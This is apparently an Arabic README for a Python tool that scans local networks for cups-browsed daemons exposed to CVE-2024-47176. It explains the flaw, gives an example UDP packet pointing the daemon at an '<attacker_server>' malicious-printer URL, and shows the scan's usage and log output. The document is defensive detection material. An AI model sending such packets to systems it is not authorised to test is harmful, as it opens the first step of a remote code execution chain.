
ماسح ضوئي بسيط لتحديد نسخ cups-browsed المعرضة للخطر على شبكتك
مثال استخدام: python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
CUPS (نظام الطباعة الموحد ليونكس) هو إطار عمل مفتوح المصدر لإدارة الطابعات والتحكم بها على أنظمة UNIX والأنظمة المشابهة لها. إنها واحدة من أكثر المكتبات استخدامًا للطباعة، وهي مدعومة من UNIX وLinux وبعض أجهزة Apple.
تم اكتشاف العديد من الثغرات الأمنية الحرجة في CUPS، والتي عند ربطها معًا قد تؤدي إلى تنفيذ تعليمات برمجية عن بُعد. الثغرات المعنية هي CVE-2024-47176 وCVE-2024-47076 وCVE-2024-47175 وCVE-2024-47177.
تسمح هذه الثغرات لمهاجم عن بُعد بإضافة طابعات الشبكة أو إعادة تكوينها بطريقة تجعلها تنفذ تعليمات برمجية عشوائية عندما يحاول المستخدمون الطباعة منها.
الثغرة الأولى في السلسلة، CVE-2024-47176، هي خلل في البرنامج الخفي cups-browsed.
تنشأ الثغرة من حقيقة أن cups-browsed يربط منفذ التحكم الخاص به (منفذ UDP 631) بـ INADDR_ANY، مما يعرضه للعالم الخارجي. نظرًا لعدم توثيق الطلبات، يمكن لأي شخص قادر على الوصول إلى منفذ التحكم توجيه cups-browsed للقيام باكتشاف الطابعات.
في الحالات التي لا يكون فيها المنفذ قابلاً للوصول من الإنترنت (بسبب جدران الحماية أو NAT)، فقد يظل قابلاً للوصول عبر الشبكة المحلية، مما يتيح تصعيد الامتيازات والحركة الجانبية. لهذا السبب، أنشأت هذا الماسح المصمم لفحص شبكتك المحلية بحثًا عن حالات cups-browsed المعرضة للخطر.
عادةً، يبدأ المهاجم عملية الاستغلال بإرسال طلب مصمم خصيصًا إلى cups-browsed على منفذ UDP 631، مما يجعله يتواصل مع عنوان URL خبيث تحت سيطرته.
على سبيل المثال، حزمة UDP تحتوي على ما يلي: 0 3 http://<attacker_server>/printers/malicious_printer من شأنها أن تدفع cups-browsed إلى إصدار طلب HTTP إلى http://<attacker_server>/printers/malicious_printer.
إذا قدّم عنوان URL نفسه كطابعة خبيثة، فقد يربط بقية الثغرات من أجل تحقيق تنفيذ تعليمات برمجية عن بُعد.
باستخدام هذه الآلية، يمكننا دفع حالة cups-browsed معرضة للخطر إلى إرسال طلب HTTP (استدعاء callback) إلى خادمنا الخاص، معرّفةً نفسها على أنها معرضة للخطر.
عملية المسح هي كما يلي:
/printers/، والتي يتم تشغيلها بواسطة حالات cups-browsed المعرضة للخطر.بافتراض أن خادم HTTP الخاص بنا مستضاف على 10.0.0.1:1337، يجب أن تبدو حزمة UDP لدينا هكذا: 0 3 http://10.0.0.1:1337/printers/test1234
يتولى هذا الماسح المكتوب بلغة بايثون كل شيء نيابةً عنك (سواء خادم HTTP أو المسح).
يشغّل البرنامج النصي خادم HTTP مؤقتًا عبر http.server على عنوان IP ومنفذ محددين، ثم ينشئ ويرسل حزم UDP إلى كل عنوان IP في النطاق المحدد. سيلتقط خادم HTTP تلقائيًا الاستدعاءات الواردة من حالات cups-browsed المعرضة للخطر ويخزنها في سجل على القرص.
تُكتب السجلات سهلة الاستخدام في logs/cups.log وتُكتب طلبات HTTP الخام في logs/requests.log
--target
نطاق (نطاقات) CIDR المراد مسحها. يمكن أن يكون CIDR واحدًا أو عدة CIDRs مفصولة بفواصل.
--callback عنوان IP والمنفذ المحليان لاستضافة خادم HTTP الخاص بنا (يجب أن يكون الوصول إليهما ممكنًا من النطاق المستهدف)
--scan-unsafe افتراضيًا، نقوم فقط بمسح عناوين المضيف القابلة للتخصيص (نستثني عنوان الشبكة وعنوان البث). في بعض الحالات قد يكون من المستحسن مسح هذه العناوين، لذا يمكن تجاوز هذا السلوك باستخدام علامة --scan-unsafe.
مسح نطاق CIDR 10.0.0.0/24 من عنوان IP 10.0.0.1، مع استضافة خادم الاستدعاء على 1337:
python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337
مسح نطاقات CIDR متعددة من عنوان IP 10.0.0.1، مع استضافة خادم الاستدعاء على 1337:
python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337
ملاحظة: يجب أن يكون عنوان IP لخادم الاستدعاء تابعًا للمضيف الذي يقوم بالمسح، ويجب أن يكون المنفذ قابلاً للوصول من جميع عناوين IP المستهدفة.
<root@haxx> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337...
[2024-10-06 21:57:14] starting scan
[2024-10-06 21:57:14] scanning range: 10.0.0.1 - 10.0.0.254
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0
[2024-10-06 21:57:17] shutting down server and exiting...
لمزيد من المعلومات، انظر: التقرير الرسمي لثغرة CUPS